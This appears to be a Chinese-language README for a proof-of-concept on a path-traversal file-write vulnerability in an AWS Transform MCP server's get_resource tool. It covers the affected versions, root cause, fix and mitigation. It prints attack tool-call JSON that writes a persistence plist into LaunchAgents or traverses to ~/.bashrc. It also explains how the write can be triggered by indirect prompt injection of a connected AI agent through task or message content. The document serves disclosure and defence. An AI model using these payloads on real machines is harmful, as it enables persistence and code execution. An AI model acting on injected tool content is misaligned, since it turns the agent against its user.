通过 awslabs.aws-transform-mcp-server(AWS Transform MCP 服务器)中 get_resource 工具的 savePath 参数实现任意文件写入。
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — 对受限目录的路径名限制不当 |
| 受影响版本 | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| 修复版本 | 0.1.5 |
| CVSS v3.1 | 8.6 高危 — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 中危 — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| 安全公告 | GHSA-66mr-jr63-2jgw |
| 公告 | AWS Security Bulletin 2026-075 |
| 报告者 | Drew Raines(协同披露) |
| 发布时间 | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) 会从预签名的 S3 URL 下载文件,当调用方传入 savePath / fileName 时,会通过以下流程将其保存到本地磁盘:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
在 <= 0.1.4 版本中,validate_write_path() 仅:
os.path.realpath(os.path.expanduser(...)) 解析 save_path。~/.aws、~/.ssh、~/.gnupg、
~/.docker、~/.aws-transform-mcp、/etc/shadow、/etc/passwd)。os.path.basename() 从 file_name 中去除目录部分。它从未将解析后的目录限制在任何基础/工作目录之内,并且 BLOCKED_FILENAMES(.bashrc、.zshrc、authorized_keys、id_rsa 等)仅在读取时强制执行,而非写入时。因此,该服务器的任何 MCP 客户端——包括通过此工具获取的不可信作业/任务/消息内容而受到间接提示注入的代理——都可以将 savePath 设置为绝对路径、../.. 目录穿越路径或敏感点文件名,服务器会将受攻击者影响的字节写入该位置。这是一个位于操作员认为下载被限制的目录之外的文件写入原语;该公告指出它“可能导致本地代码执行”(例如覆盖 shell 启动文件)。
0.1.5 通过添加一个显式列入白名单的基础目录(_ALLOWED_WRITE_BASE,取自 $AWS_TRANSFORM_MCP_WRITE_DIR 或服务器启动时的 CWD)来修复此问题,所有解析后的写入路径都必须位于该目录之下,并且还会对最终解析的写入路径强制执行 BLOCKED_FILENAMES。
完整根因差异:vendor/0.1.4-vulnerable/file_validation.py 对比 vendor/0.1.5-fixed/file_validation.py(两者均从 PyPI / GitHub 原样获取,Apache-2.0 许可证)。
MCP 客户端(Q Developer、Kiro、Claude 等连接到此服务器的客户端)发起如下工具调用:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
或者,从相对沙箱目录:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
由于该工具将 resource="task" 响应描述为代理应读取并采取行动的内容,而 resource="messages" 内容源自聊天/作业数据,因此工作区协作者(或被入侵的上游作业/消息源)无需说服人类输入这些内容——诱导已连接的代理以恶意的 savePath 调用 get_resource 就足够了。演示该漏洞本身无需真实的 AWS 凭据,因为该缺陷完全存在于 S3 获取前后的本地路径处理中。
python3 poc.py
无需第三方依赖、无需 AWS 账户、无需访问 AWS 网络。该脚本:
file_validation.py(见 vendor/)。tool_utils.py 的确切控制流重新实现 download_s3_content()(仅将 httpx 替换为标准库 urllib——零依赖,逻辑相同),并完全按照 get_resource 的方式驱动它。savePath/fileName 组合——绝对路径逃逸、相对 ../.. 目录穿越、以及一个在读取时才会被阻止的敏感点文件名。所有操作都发生在一个一次性的 mkdtemp() 临时目录中;你真实的 $HOME 绝不会被触及。示例输出:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
升级到 awslabs.aws-transform-mcp-server >= 0.1.5。旧版本没有服务器端的替代方案;该公告建议升级。无法立即升级的运维人员应将服务器的 CWD 设置为一个专用的空目录,并将服务器能够写入的任何文件视为已被攻陷。
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main